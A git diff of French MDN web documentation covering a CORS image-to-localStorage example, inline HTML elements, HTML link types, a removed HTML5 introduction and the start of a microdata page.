
- -

Maintenant que le serveur est configuré pour permettre la récupération d'image depuis plusieurs origines, on peut écrire le code qui permet à l'utilisateur d'enregistrer les images en stockage local comme si elles étaient servies depuis le même domaine que le code.

- -

Pour cela, on utilise l'attribut {{htmlattrxref("crossorigin")}} en définissant {{domxref("HTMLImageElement.crossOrigin", "crossOrigin")}} sur l'élément {{domxref("HTMLImageElement")}} sur lequel l'image sera chargée. Ainsi, on indique au navigateur de demander un accès multi-origine lors du téléchargement de l'image.

- -

Démarrer le téléchargement

- -

Voici le code qui démarre le téléchargement (déclenché par exemple lorsque l'utilisateur clique sur un bouton « Télécharger ») :

- -
function startDownload() {
-  let imageURL = "https://cdn.glitch.com/4c9ebeb9-8b9a-4adc-ad0a-238d9ae00bb5%2Fmdn_logo-only_color.svg?1535749917189";
-
-  downloadedImg = new Image;
-  downloadedImg.crossOrigin = "Anonymous";
-  downloadedImg.addEventListener("load", imageReceived, false);
-  downloadedImg.src = imageURL;
-}
- -

Ici, l'URL de l'image à télécharger est codée en dur mais cette valeur pourrait très bien provenir d'un argument passé à la fonction. Pour démarrer le téléchargement, on crée un nouvel objet {{domxref("HTMLImageElement")}} grâce au constructeur {{domxref("HTMLImageElement.Image", "Image()")}}. L'image est ensuite configurée afin de permettre un téléchargement multi-origine grâce à l'attribut crossOrigin paramétré avec "Anonymous" (qui permet le téléchargement, non-authentifié, d'une image multi-origine). Un gestionnaire d'évènement est ajouté afin de réagir à l'évènement {{event("load")}} lorsque l'image a été reçue.

- -

Enfin, l'attribut {{domxref("HTMLImageElement.src", "src")}} de l'image est défini avec l'URL de l'image à télécharger et le téléchargement démarre.

- -

Recevoir et enregistrer l'image

- -

Voici le fragment de code exécuté lorsque l'image a été téléchargée :

- -
function imageReceived() {
-  let canvas = document.createElement("canvas");
-  let context = canvas.getContext("2d");
-
-  canvas.width = downloadedImg.width;
-  canvas.height = downloadedImg.height;
-
-  context.drawImage(downloadedImg, 0, 0);
-  imageBox.appendChild(canvas);
-
-  try {
-    localStorage.setItem("saved-image-example", canvas.toDataURL("image/png"));
-  }
-  catch(err) {
-    console.log("Error: " + err);
-  }
-}
- -

imageReceived() est invoquée lorsque l'évènement "load" est déclenché sur l'élément HTMLImageElement qui reçoit l'image téléchargée. Cet évènement se produit lorsque l'ensemble des données téléchargées est disponible. Cette fonction commence par créer un nouvel élément {{HTMLElement("canvas")}} qui sera utilisé afin de convertir l'image en une URL de donnée. On récupère également un accès au contexte du canevas pour dessiner en 2D ({{domxref("CanvasRenderingContext2D")}}) dans la variable context.

- -

La taille du canevas est ajustée afin que ses dimensions correspondent à celles de l'image. L'image est ensuite dessinée dans le canevas grâce à {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}. Le canevas est alors inséré dans le document et l'image y devient visible.

- -

Enfin, on enregistre l'image dans le stockage local. Pour cela, on utilise les méthodes de l'API Web Storage en passant par la variable globale {{domxref("Window.localStorage", "localStorage")}}. La méthode {{domxref("HTMLCanvasElement.toDataURL", "toDataURL()")}} est utilisée afin de convertir l'image en une URL de données représentant une image PNG qui est enregistrée dans l'espace local grâce à la méthode {{domxref("Storage.setItem", "setItem()")}}.

- -

Vous pouvez essayer ou adapter cet exemple sur Glitch.

- -

Voir aussi

- - diff --git a/files/fr/web/html/inline_elements/index.html b/files/fr/web/html/inline_elements/index.html new file mode 100644 index 0000000000..fb9207dd72 --- /dev/null +++ b/files/fr/web/html/inline_elements/index.html @@ -0,0 +1,169 @@ +--- +title: Éléments en-ligne +slug: Web/HTML/Éléments_en_ligne +tags: + - Débutant + - Elements en ligne + - Guide + - HTML + - Reference +translation_of: Web/HTML/Inline_elements +--- +
{{HTMLSidebar}}
+ +

En HTML, les éléments en ligne (inline elements en anglais) sont ceux qui occupent l'espace délimités par leurs balises plutôt que d'interrompre le flux du contenu. Dans cet article, nous étudierons ces éléments en ligne et également leurs différences quant aux éléments de bloc (block-level elements).

+ +
+

Note : Un élément en ligne ne commence pas sur une nouvelle ligne et prend uniquement la largeur qui lui est nécessaire.

+
+ +

Éléments en ligne et éléments de bloc : un exemple

+ +

Un exemple vaut mieux qu'une longue explication. Voici pour commencer la feuille de style CSS que nous utiliserons :

+ +
.highlight {
+  background-color:#ee3;
+}
+ +

Élément en ligne

+ +

Le fragment de code HTML qui suit utilise un élément en ligne avec la classe highlight :

+ +
<p>The following span is an <span class="highlight">inline element</span>;
+its background has been colored to display both the beginning and end of
+the inline element's influence.</p>
+ +

Dans cet exemple, l'élément {{HTMLElement("p")}} (le paragraphe) est un élément de bloc qui contient du texte. Dans ce texte, on a un élément {{HTMLElement("span")}} qui est un élément en ligne. L'élément <span> étant un élément en ligne, le paragraphe est bien affiché sous la forme d'un flux de texte sans rupture :

+ +

{{EmbedLiveSample("Élément_en_ligne", 600, 80)}}

+ + + +

Élément de bloc

+ +

Transformons l'exemple précédent pour passer d'un élément <span> à un élément {{HTMLElement("div")}} qui est un élément de bloc :

+ +
<p>The following div is an <div class="highlight">block-level element;</div>
+its background has been colored to display both the beginning and end of
+the block-level element's influence.</p>
+ + + +

Et voici le résultat qu'on obtient :

+ +

{{EmbedLiveSample("Élément_de_bloc", 600, 150)}}

+ +

On voit ici que l'élément <div> modifie complètement la disposition du texte et le découpe en trois partie : une partie avant le <div>, une partie constituée avec le texte de l'élément <div> et une dernière partie ensuite.

+ +

Modifier le type d'un d'élément

+ +

Il est possible de choisir le mode d'affichage d'un élément afin de modifier son comportement par défaut grâce à la propriété CSS {{cssxref("display")}}. En passant la valeur de display de "inline" à "block", on peut indiquer au navigateur d'afficher l'élément comme une boîte de bloc plutôt que comme une boîte en ligne. Attention, l'élément ne sera plus affiché de la même façon, vérifiez le résultat obtenu. De plus, ce changement n'impactera pas la catégorie et le modèle de contenu de l'élément : utiliser display:block sur un élément {{HTMLElement("span")}} ne permettra toujours pas de lui imbriquer un élément {{HTMLElement("div")}} à l'intérieur.

+ +

Différences conceptuelles

+ +

Voici, en résumé, les différences conceptuelles entre les éléments en ligne et les éléments de bloc :

+ +
+
Modèle de contenu
+
En général, les éléments en ligne ne peuvent contenir que des données ou d'autres éléments en ligne. Il n'est pas possible de placer des éléments de bloc à l'intérieur d'éléments en ligne.
+
Formatage
+
Par défaut, les éléments en ligne n'introduisent pas de saut de ligne dans le flux du document. En revanche, les éléments de bloc provoquent un saut de ligne (ce comportement peut être modifié grâce au CSS).
+
+ +

Liste des éléments en ligne

+ +

Les éléments HTML suivants sont, par défaut, des éléments en ligne :

+ +
+
+
{{HTMLElement("a")}}
+
{{HTMLElement("abbr")}}
+
{{HTMLElement("acronym")}}
+
{{HTMLElement("audio")}} (if has visible controls)
+
{{HTMLElement("b")}}
+
{{HTMLElement("bdi")}}
+
{{HTMLElement("bdo")}}
+
{{HTMLElement("big")}}
+
{{HTMLElement("br")}}
+
{{HTMLElement("button")}}
+
{{HTMLElement("canvas")}}
+
{{HTMLElement("cite")}}
+
{{HTMLElement("code")}}
+
{{HTMLElement("data")}}
+
{{HTMLElement("datalist")}}
+
{{HTMLElement("del")}}
+
{{HTMLElement("dfn")}}
+
{{HTMLElement("em")}}
+
{{HTMLElement("embed")}}
+
{{HTMLElement("i")}}
+
{{HTMLElement("iframe")}}
+
{{HTMLElement("img")}}
+
{{HTMLElement("input")}}
+
{{HTMLElement("ins")}}
+
{{HTMLElement("kbd")}}
+
{{HTMLElement("label")}}
+
{{HTMLElement("map")}}
+
{{HTMLElement("mark")}}
+
{{HTMLElement("meter")}}
+
{{HTMLElement("noscript")}}
+
{{HTMLElement("object")}}
+
{{HTMLElement("output")}}
+
{{HTMLElement("picture")}}
+
{{HTMLElement("progress")}}
+
{{HTMLElement("q")}}
+
{{HTMLElement("ruby")}}
+
{{HTMLElement("s")}}
+
{{HTMLElement("samp")}}
+
{{HTMLElement("script")}}
+
{{HTMLElement("select")}}
+
{{HTMLElement("slot")}}
+
{{HTMLElement("small")}}
+
{{HTMLElement("span")}}
+
{{HTMLElement("strong")}}
+
{{HTMLElement("sub")}}
+
{{HTMLElement("sup")}}
+
{{HTMLElement("svg")}}
+
{{HTMLElement("template")}}
+
{{HTMLElement("textarea")}}
+
{{HTMLElement("time")}}
+
{{HTMLElement("u")}}
+
{{HTMLElement("tt")}}
+
{{HTMLElement("var")}}
+
{{HTMLElement("video")}}
+
{{HTMLElement("wbr")}}
+
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/html/introduction_to_html5/index.html b/files/fr/web/html/introduction_to_html5/index.html deleted file mode 100644 index 51eaf4850e..0000000000 --- a/files/fr/web/html/introduction_to_html5/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Introduction à HTML5 -slug: Web/HTML/Introduction_to_HTML5 -tags: - - HTML - - HTML5 -translation_of: Web/Guide/HTML/HTML5/Introduction_to_HTML5 ---- -

HTML5 est la nouvelle version du standard HTML. Il apporte non seulement l'utilisation de média riches (vidéo, audio, SVG, etc.) mais aussi des fonctionnalités permettant le développement d'applications web bien plus attractives et interactives.

- -

Étant donné que HTML5 est encore en cours d'évolution, certains navigateurs ne supportent pas encore toutes les fonctionnalités offertes par ce nouveau standard. Ceci dit Gecko (et donc Firefox) supporte déjà dans sa version 1.8.1 une majorité des possibilités de HTML5. Vous trouverez ce que Gecko supporte déjà en visitant cette page : HTML5. Pour obtenir davantage d'informations sur le support de HTML5 par de multiples navigateurs, jetez un coup d'œil sur le site CanIUse .

- -

Indiquer que le document contient du HTML5 grâce au doctype HTML5

- -

La doctype HTML5 est très simple, il s'agit simplement de ceci :

- -
<!DOCTYPE html>
-
- -

Cela permet au navigateur ne supportant pas encore le HTML5 de passer en mode standard et ainsi d'ignorer les balises inconnues.

- -

Il est beaucoup plus simple que les précédents doctypes, et plus court. Il est ainsi plus facile à retenir et réduit le nombre d'octets devant être téléchargés.

- -

Déclarer l'encodage de caractères avec <meta charset>

- -

La première chose que l'on fait d'habitude sur une page web c'est déclarer l'encodage de caractère utilisé. Dans les versions précédentes de HTML, ceci était fait en utilisant le très complexe élément {{HTMLElement("meta")}}. Avec HTML5, c'est beaucoup plus simple :

- -
<meta charset="UTF-8">
- -

Placez ceci au tout début de votre élément {{HTMLElement("head") }}, car certains navigateurs recommencent leur interprétation des documents HTML, si l'encodage de caractère déclaré est différent de ce qu'ils avaient anticipé. De plus, il est recommandé d'utiliser UTF-8, car il simplifie la gestion des caractères dans les documents utilisant plusieurs graphies.

- -

Notez que HTML5 limite les encodages autorisés à ceux qui sont compatibles avec ASCII et utilisant au moins 8 bits. Ceci pour améliorer la sécurité et éviter certains types d'attaques.

- -

Utiliser le nouveau parser HTML5

- -

Les nouvelles règles d'analyse du HTML5, celles qui s'occupent de la sémantique du code, ont été renforcées. Jusqu'à l'arrivée du HTML5, seules les règles pour un code valide avaient été définies. À la moindre erreur dans le code (la plupart des sites Web en comportent au moins une), le comportement à adopter était laissé à la libre interprétation des navigateurs, qui ne choisissaient pas toujours le même. Maintenant, lorsque des erreurs sont rencontrées dans le code, tous les navigateurs implémentant HTML5 doivent se comporter de la même façon.

- -

Cette obligation aide les développeurs Web. Bien que tous les nouveaux navigateurs utilisent maintenant les règles d'analyse d'HTML5, des navigateurs ne respectant pas HTML5 sont encore utilisés. Il est toujours fortement recommandé d'écrire un code valide, car il est plus facile à lire et à maintenir, et diminue les risques d'incompatibilité avec les vieux navigateurs.

- -

Ne vous inquiétez pas, vous n'avez rien à changer sur votre site Web, les développeurs des navigateurs ont déjà fait le nécessaire !

diff --git a/files/fr/web/html/link_types/index.html b/files/fr/web/html/link_types/index.html new file mode 100644 index 0000000000..f8134a8fe7 --- /dev/null +++ b/files/fr/web/html/link_types/index.html @@ -0,0 +1,368 @@ +--- +title: Types de lien +slug: Web/HTML/Types_de_lien +tags: + - HTML + - Reference + - Types de lien + - Web +translation_of: Web/HTML/Link_types +--- +
{{HTMLSidebar}}
+ +

En HTML, les types de lien indiquent la relation entre deux documents, reliés ensemble grâce à un élément {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}} ou {{HTMLElement("link")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Liste des types de lien HTML et leur signification
Type de lienDescriptionUtilisable dans ces élémentsInterdit dans ces éléments
alternate +
    +
  • Si l'élément est un élément {{HTMLElement("link")}} et que l'attribut {{htmlattrxref("rel", "link")}} contient le type stylesheet, ce lien définit une feuille de style alternative. Dans ce cas, l'attribut {{htmlattrxref("title", "link")}} doit être présent et ne doit pas être la chaîne de caractères vide.
    • +
  • Si l'attribut {{htmlattrxref("type","link")}} vaut application/rss+xml ou application/atom+xml, le lien définit un flux de syndication. Le premier flux définit sur la page est le flux par défaut.
    • +
  • Sinon, le lien définit une page alternative, il peut s'agir : +
      +
    • Si l'attribut {{htmlattrxref("media","link")}} est défini, d'une page destinée à un autre support (par exemple une tablette)
      • +
    • D'une page dans une autre langue si l'attribut {{htmlattrxref("hreflang","link")}} est défini,
      • +
    • D'une page dans un autre format (par exemple PDF) si l'attribut {{htmlattrxref("type","link")}} est défini,
      • +
    • D'une combinaison de ces documents.
      • +
    +
    • +
+ 		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}{{HTMLElement("form")}}
archives {{obsolete_inline}}Ce type définit un hyperlien vers un document qui contient un lien d'archive vers le document courant. Un billet de blog pourrait ainsi créer un lien vers un index qui liste les articles publiés pendant ce mois.
+
+ Note : Bien que la forme archive (au singulier) soit reconnue, elle est incorrecte et doit être évitée.		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}{{HTMLElement("form")}}
authorCe type définit un hyperlien vers une page qui décrit l'auteur ou qui fournit un moyen de contacter l'auteur du document.
+
+ Note : Ce lien peut être un lien mailto: bien que ce ne soit pas recommandé afin d'éviter la collecte de l'adresse électronique (mieux vaut avoir un formulaire de contact).
+
+ Bien que l'attribut {{htmlattrxref("rev", "link")}} soit reconnu pour les éléments {{HTMLElement("a")}}, {{HTMLElement("area")}} et {{HTMLElement("link")}}, il ne faut pas utiliser cet attribut avec un type de lien « made » mais plutôt utiliser {{htmlattrxref("rel", "link")}} avec ce type de lien (« author »).		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}{{HTMLElement("form")}}
bookmarkCe type de lien indique l'hyperlien est un permalien pour l'élément {{HTMLElement("article")}} qui est l'ancêtre le plus proche. S'il n'y en a aucun, c'est un permalien pour la section la plus proche de l'élément courant.
+
+ Ce type de lien permet de placer un marque-page pour un seul article d'une page qui contient plusieurs articles (par exemple un agrégateur).		{{HTMLElement("a")}}, {{HTMLElement("area")}}{{HTMLElement("link")}}, {{HTMLElement("form")}}
canonicalUn lien canonique est un élément HTML qui aide les webmasters à ne pas dupliquer du contenu en indiquant la version canonique ou préférée de la page pour l'optimisation à destination des moteurs de recherche.{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
dns-prefetch {{experimental_inline}}Ce type de lien indique au navigateur qu'une ressource est nécessaire et permet au navigateur d'effectuer une requête DNS et un établissement de connexion avant que l'utilisateur clique sur le lien.{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
externalCe type de lien indique que l'hyperlien mène vers une ressource située à l'extérieur du site sur lequel se trouve la page courante. Autrement dit, en suivant ce lien, l'utilisateur quitte le site qu'il visite.{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}{{HTMLElement("link")}}
first {{obsolete_inline}}Ce type indique que l'hyperlien mène à la première ressource dans la série de ressources à laquelle appartient la page actuelle.
+
+ Note : les autres types de lien permettant une navigation séquentielle sont : last, prev, next (pour respectivement la dernière, la précédente et la suivante).
+
+ Bien que les synonymems begin et start puissent être reconnus, ils sont incorrects et devraient être évités.		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}{{HTMLElement("form")}}
help +
    +
  • Si l'élément est un élément {{HTMLElement("a")}} ou {{HTMLElement("area")}}, ce type indique que l'hyperlien mène vers une ressource contenant de l'aide sur l'utilisation de l'élément parent du lien et de ses descendants.
    • +
  • Si l'élément est un élément {{HTMLElement("link")}}, ce type indique que l'hyperlien mène vers une ressource fournissant une aide à propos de la page entière.
    • +
+ 		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}, {{HTMLElement("link")}}Aucun.
iconCe type définit une ressource qui représente la page dans l'interface utilisateur. C'est généralement une icône (visuelle ou auditive).
+
+ Les attributs {{htmlattrxref("media","link")}}, {{htmlattrxref("type","link")}} et {{htmlattrxref("sizes","link")}} permettent au navigateur de choisir l'icône la plus appropriée au contexte. Si plusieurs ressources sont équivalentes, le navigateur sélectionnera celle qui est déclarée en dernière, dans l'ordre des éléments de l'arbre du document. Ces attributs ne sont que des indications et les ressources associées peuvent ne pas correspondre, auquel cas, le navigateur en sélectionnera une autre s'il en existe une adéquate.
+
+ Note : sur iOS, ce type de lien n'est pas utilisé, à la place, ce sont les relations ({{htmlattrxref("rel","link")}}) apple-touch-icon et apple-touch-startup-image qui sont utilisées.
+
+ Le type de lien shortcut est souvent vu avant icon mais il n'est pas conforme et les navigateurs l'ignorent, c'est pourquoi il ne doit plus être utilisé.		{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
import{{experimental_inline}}Imports de ressource en HTML{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
index {{obsolete_inline}}Ce type indique que la page fait partie d'une structure hiérarchique et que l'hyperlien renvoie au niveau le plus haut de cette structure.
+
+ Si un ou plusieurs liens de type up sont présent, la quantité de ces liens indique la profondeur de la page courante au sein de la hiérarchie.		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}{{HTMLElement("form")}}
last {{obsolete_inline}} +

Ce type indique que l'hyperlien mène à la dernière ressource dans la série de ressources à laquelle appartient la page actuelle.
+
+ Note : les autres types de lien permettant une navigation séquentielle sont : first, prev, next (pour respectivement la première, la précédente et la suivante).

+ +

Bien que le synonyme end puisse être reconnu, il est incorrect et doit être évité.

+ 		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}Aucun.
licenseCe type de lien mène vers un document contenant des informations relatives à la licence appliquée au contenu. Si le lien n'est pas dans l'élément {{HTMLElement("head")}}, le standard n'indique pas que la licence doit s'appliquer à tout ou partie du document, seules les données de la page permettent de le savoir.
+
+ Note : bien qu'il puisse être reconnu, le synonyme copyright est incorrect et doit être évité.		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}, {{HTMLElement("link")}}Aucun.
manifestCe type de lien indique que la ressource liée est un manifeste d'application web.{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
modulepreloadInitialise le chargement anticipé (et prioritaire) des modules de scripts{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
nextCe type indique que l'hyperlien mène à la prochaine ressource dans la série de ressources à laquelle appartient la page actuelle.
+
+ Note : les autres types de lien permettant une navigation séquentielle sont : first, prev, last (pour respectivement la première, la précédente et la dernière).		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}, {{HTMLElement("link")}}Aucun.
nofollowCe type de lien indique que le document lié n'est pas approuvé par l'auteur du document actuel, par exemple s'il n'a aucun contrôle envers le document lié ou si le document est un mauvais exemple ou encore s'il existe une relation commerciale (le lien a été vendu). Ce type de lien peut être utilisé par certains moteurs de recherche qui utilise des classements selon la popularité des documents.{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}{{HTMLElement("link")}}
noopener +

Ce type de lien indique au navigateur d'ouvrir le lien sans que le nouveau contexte de navigation créé ait accès au document qui contenait le lien (techniquement la propriété {{domxref("Window.opener")}} renverra null).
+
+ Ce type est particulièrement utile lorsqu'on ouvre un lien pour lequel on ne veut pas qu'il puisse interagir avec le document source (voir également l'article About rel=noopener pour plus de détails) tout en fournissant un référent via l'en-tête HTTP (à moins que noreferrer n'y soit également utilisé).

+ +

Lorsque noopener est utilisé, les noms utilisés pour l'attribut target, qui ne sont pas vides et qui ne sont pas _top, _self ou _parent sont alors traités comme s'ils étaient synonymes de _blank lorsqu'il s'agit de décider d'ouvrir une nouvelle fenêtre ou un nouvel onglet.

+ 		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}{{HTMLElement("link")}}
noreferrer +

Ce type de lien empêche le navigateur, lorsqu'on navigue vers une autre page, que le l'adresse de la page ou toute autre valeur soit fournie via l'en-tête HTTP {{HTTPHeader("Referer")}}.
+ (Dans Firefox, avant Firefox 37, ce type ne fonctionnait que pour les liens sur lesquels on cliquait directement, lorsqu'on utilisait un menu « Ouvrir dans un nouvel onglet », ce type était ignoré.

+ 		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}{{HTMLElement("link")}}
opener {{experimental_inline}} {{non-standard_inline}}Annule l'effet de l'ajout implicite de  rel="noopener" sur les liens qui possèdent explicitement target="_blank" (voir la discussion sur les spécifications HTML, la modification WebKit change et la discussion sur le bug Firefox correspondant).{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}{{HTMLElement("link")}}
pingbackCe type définit une URI vers une ressource externee qui doit être appelée si quelqu'un ajoute un commentaire ou une citation à propos de la page web courant. Le protocole pour un tel appel est défini dans la spécification Pingback 1.0.
+
+ Note : si l'en-tête HTTP {{HTTPHeader("X-Pingback")}} est également présent, celui-ci aura la prioriété sur l'élément {{HTMLElement("link")}} avec ce type de lien.		{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
preconnect {{experimental_inline}}Ce type de lien suggère au navigateur d'ouvrir une connexion vers le site web visé de façon anticipée, sans diffuser d'information privée et sans télécharger de contenu. Il est utilisé afin de pouvoir récupérer le contenu lié plus rapidement.{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
prefetchCe type de lien suggère au navigateur de récupérer la ressource liée de façon anticipée phase car il est probable que l'utilisateur la demande. À partir de Firefox 44, la valeur de l'attribut {{htmlattrxref("crossorigin", "link")}} est prise en compte, ce qui permet d'effectuer des récupérations anticipées anonymes.
+
+ Note : la FAQ sur prefetch explique quels liens peuvent être récupérés de façon anticipée et quelles peuvent être les méthodes alternatives.		{{HTMLElement("a")}} {{unimplemented_inline}},
+ {{HTMLElement("area")}} {{unimplemented_inline}},
+ {{HTMLElement("link")}}		{{HTMLElement("form")}}
preload +

Ce type de lien indique au navigateur de précharger une ressource car celle-ci sera nécessaire par la suite lors de la navigation.

+ +

Voir l'article Précharger du contenu grâce à rel="preload" pour plus d'informations.

+ 		{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
prerender {{experimental_inline}}Ce type de lien suggère au navigateur de récupérer la ressource liée en avance et de préparer son rendu hors de l'écran afin qu'elle puisse être présentée rapidement à l'utilisateur lorsqu'elle sera nécessaire.{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
prevCe type indique que l'hyperlien mène à la ressource précédente dans la série de ressources à laquelle appartient la page actuelle.
+
+ Note : les autres types de lien permettant une navigation séquentielle sont : first, next, last (pour respectivement la première, la suivante et la dernière).
+
+ Bien que la valeur previous soit reconnue comme synonyme, elle est incorrecte et ne doit pas être utilisée.		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}, {{HTMLElement("form")}}Aucun.
searchCe type de lien indique que l'hyperlien cible un document dont l'interface est destinée à la recherche sur ce document, sur ce site ou sur les ressources associées.
+
+ Si l'attribut {{htmlattrxref("type","link")}} vaut application/opensearchdescription+xml, la ressource est un plugin OpenSearch qui peut facilement être ajouté à l'interface de certains navigateurs comme Firefox ou Internet Explorer.		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}, {{HTMLElement("form")}}Aucun.
sidebar {{non-standard_inline}}Ce type indique que l'hyperlien mène vers une ressource qui serait plus pertinente au sein d'un contexte de navigation secondaire tel qu'une barre latérale. Les navigateurs qui ne possèdent pas de tel contexte ignoreront ce mot-clé.
+
+ Bien que ce type de lien ait fait partie de la spécification HTML, il a été retiré de la spécification et est uniquement implémenté par Firefox pour les versions antérieures à Firefox 63.		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}{{HTMLElement("form")}}
stylesheetCe type de lien définit une ressource externe qui doit être utilisée comme une feuille de style. Si le type de la ressource n'est pas défini, le navigateur considèrera que c'est une feuille de style text/css.
+
+ Utilisé avec le mot-clé alternate, il permet de définir une feuille de style alternative auquel cas l'atttribut {{htmlattrxref("title", "link")}} doit être présent et ne doit pas être la chaîne vide.		{{HTMLElement("link")}}{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("form")}}
tagCe type indique que l'hyperlien fait référence à un document qui décrit l'étiquette (le tag) appliquée à ce document.
+
+ Note : ce type de lien ne doit pas être utilisé pour renvoyer vers un nuage de tags car ce dernier concerne un ensemble de pages et pas uniquement le document courant.		{{HTMLElement("a")}}, {{HTMLElement("area")}}{{HTMLElement("link")}}, {{HTMLElement("form")}}
up {{obsolete_inline}}Ce type de lien indique que la page fait partie d'une structure hiérarchique et que l'hyperlien mène vers une ressource située au niveau supérieur de cette structure.
+
+ Le nombre de up indique la différence de profondeur dans la hiérarchie entre la page courante et la page associée.		{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}{{HTMLElement("form")}}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Preload','#x2.link-type-preload','preload')}}{{Spec2('Preload')}}Ajout du type preload.
{{SpecName('Resource Hints', '#dfn-preconnect', 'preconnect')}}{{Spec2('Resource Hints')}}Ajout des types dns-prefetch, preconnect et prerender.
{{SpecName("HTML WHATWG", "links.html#linkTypes", "link types")}}{{Spec2('HTML WHATWG')}}Ajout de opener. noopener devient le comportement par défaut pour les liens avec target="_blank".
{{SpecName("HTML5 W3C", "links.html#linkTypes", "link types")}}{{Spec2('HTML5 W3C')}}Ajout de tag, search, prefetch, noreferrer, nofollow, icon et author.
+ Renommage de copyright en license.
+ Suppression de start, chapter, section, subsection et appendix
{{SpecName("HTML4.01", "types.html#type-links", "link types")}}{{Spec2('HTML4.01')}}Ajout de alternate, stylesheet, start, chapter, section, subsection, appendix et bookmark.
+ Renomme previous en prev.
+ Suppression de top et search.
{{SpecName("HTML3.2", "#link", "<link>")}}ObsolèteAjout de top, contents, index, glossary, copyright, next, previous, help et search.
{{RFC(1866, "HTML 2.0")}}ObsolèteDéfinition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.elements.link.rel")}}

+ +

Voir aussi

+ +
    +
  • {{HTMLElement("link")}}
    • +
  • {{HTMLElement("a")}}
    • +
  • {{HTMLElement("area")}}
    • +
diff --git a/files/fr/web/html/microdata/index.html b/files/fr/web/html/microdata/index.html new file mode 100644 index 0000000000..66230edd72 --- /dev/null +++ b/files/fr/web/html/microdata/index.html @@ -0,0 +1,140 @@ +--- +title: Microdonnées +slug: Web/HTML/Microdonnées +tags: + - HTML + - Microdata + - Microdonnées +translation_of: Web/HTML/Microdata +--- +
{{QuickLinksWithSubpages("/en-US/docs/Web/HTML")}}
+ +

Les microdonnées (microdata) sont une partie de la spécification HTML du WHATWG qui est utilisée afin de fournir des métadonnées sur le contenu des pages web. Les moteurs de recherche, les robots (crawlers) d'analyse peuvent traiter les microdonnées d'une page web pour améliorer l'expérience de navigation. Les moteurs de recherches peuvent tirer parti des informations pour obtenir une meilleure pertinence. Les microdonnées sont structurées grâce à un vocabulaire permettant de décrire des objets qui sont des groupes de paires de noms/valeurs. Le but des microdonnées est de faciliter l'annotation des éléments HTML et d'être plus simple à utiliser que RDFa ou les microformats.

+ +

Les microdonnées sont des groupes de paires nom-valeur. Ces groupes sont appelés des objets (items) et chaque paire nom-valeur est une propriété. Les objets et les propriétés s'inscrivent dans des éléments HTML classiques :

+ +
    +
  • Pour créer un objet, on utilise l'attribut itemscope
    • +
  • Pour ajouter une propriété, on utilise l'attribut itemprop sur l'un des descendants.
    • +
+ +

Vocabulaires

+ +

Google et les autres moteurs de recherches participent au vocabulaire défini par schema.org pour structurer les données. Ce vocabulaire définit un ensemble standard de types et de noms de propriétés. Par exemple MusicEvent indique un événement musical dont les propriétés startDate et location utilisées pour définir les détails du concert. Dans ce cas, l'URL https://schema.org/MusicEvent sera l'URL utilisée pour l'attribut itemtype et les propriétés startDate et location seront les propriétés utilisées, définies par https://schema.org/MusicEvent.

+ +

Les vocabulaires de microdonnées fournissent la sémantique (c'est-à-dire la signification) d'un élément. Les développeurs et auteurs web peuvent construire des vocabulaires spécifiques ou réutiliser ceux disponibles sur le Web comme schema.org.

+ +

Plusieurs moteurs de recherche (Google, Bing et Yahoo!) s'appuient sur schema.org pour améliorer les résultats de recherche.

+ +

Localisation

+ +

